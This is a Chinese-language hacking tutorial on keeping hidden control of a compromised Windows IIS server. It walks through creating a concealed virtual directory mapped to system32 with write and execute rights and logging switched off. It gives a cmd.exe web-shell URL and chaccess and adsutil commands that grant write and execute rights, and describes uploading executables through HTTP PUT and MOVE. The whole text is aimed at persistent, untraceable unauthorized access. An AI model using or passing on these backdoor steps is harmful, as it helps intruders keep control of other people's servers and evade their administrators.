霸占“肉鸡”之隐蔽的IIS后门
好不容易攻下一台Windows2000/2003 IIS服务器,你一定会想,怎样才能长期占有这个“肉鸡”呢?聪明的你肯定会想到留后门这个法子。
对Windows系列下的Web服务器来说,笔者觉得最好的后门莫过于通过80端口安置后门,因为既然要对外提供Web服务,管理员总不会把80端口给屏蔽了吧。下面让我们来看看怎么设置IIS后门。
一 GUI方式设置
如果你能通过GUI(图形界面)方式管理肉鸡的话(通过 3389端口的Windows 终端服务、4899端口的Radmin服务、Pcanywhere、VNC、DameWare等GUI方式的远程管理软件),那就最简单不过了。可以通过如下方式建立一个隐蔽的后门:
1.先在Web根目录下建立一个子目录shell,然后打开“Internet信息服务”管理器,在shell目录下新建一个指向C:\WinNT\system32的虚拟目录door,然后删除Web根目录下的shell目录,这样在IIS管理器中就看不到shell目录了,也看不到door这个虚拟目录了(这是IIS显示目录的一个Bug,实际上这个虚拟目录仍然存在)。
通过浏览器访问不到shell这个路径,但是依然可以访问到shell/door这个路径。不过这并没有完,我们需要在IIS管理器中对虚拟目录door的权限做进一步设置。WwW.ItCOmPUTEr.COm.cN
2.在door属性中,我们设置本地路径为“C:\WinNT\System32”(见图),在“脚本资源访问”、“读取”、“写入”、“目录浏览”复选框前打钩,把“日志访问”和“索引此资源”复选框前的钩去掉,在“执行许可”中选择“脚本和可执行程序”,“应用程序保护”选择“低 (IIS进程)”。
好了,现在我们就有了一个功能强大而且不会留下任何痕迹的Web Shell了(还记得Unicode漏洞吗?在地址栏中输入http:// 219.***.18.63 /shell/door/cmd.exe?/c+dir c:\ 看看)。
二 命令行方式设置
有人可能会问了,如果只有命令行下的shell,能不能设置IIS后门呢?答案是肯定的。这里需要用一些系统自带的工具。IIS服务器安装时会自动在C:\Inetpub\AdminScript下安装一些用来配置IIS的脚本,如adsutil.vbs、chaccess.vbs、mkwebdir.vbs、disptree.vbs等,我们可以通过这些脚本来修改Web目录的权限。
在命令行shell下,输入“cscript.exe adsutil.vbs enum w3svc/1/root”,看看Web服务器的配置。从中选一个虚拟目录test,给它赋予可写权限:“chaccess -a w3svc/1/ROOT/test +write”,按照如下的命令再给它赋予脚本和可执行程序的执行权限:“chaccess -a w3svc/1/ROOT/test +script +execute”。
三 利用可写可执行权限目录
上面介绍了两种方法获得IIS服务器上的一个可写的目录,但怎样怎么利用呢?
利用IIS后门的方法有很多种,这里只讨论如何利用一个有可写可执行权限的目录的问题。一般的思路是远程提交数据,高手都喜欢用瑞士军刀——Netcat,不过这个是命令行下的工具,新手用起来可能不习惯。下面介绍一个桂林老兵发布的作品(下载地址:http://www.gxgl.com/?actio
n=soft&module=show&id=12)。
数据包格式有OPTIONS、GET、HEAD、DELETE、PUT、POST等多种。我们可以用PUT方法从本地选一个文件上传到服务器上,然后用MOVE方法给它改名为.exe可执行程序或.asp可执行脚本。更详细的使用方法可以参看程序附带的Readme文档,这里就不再赘述了。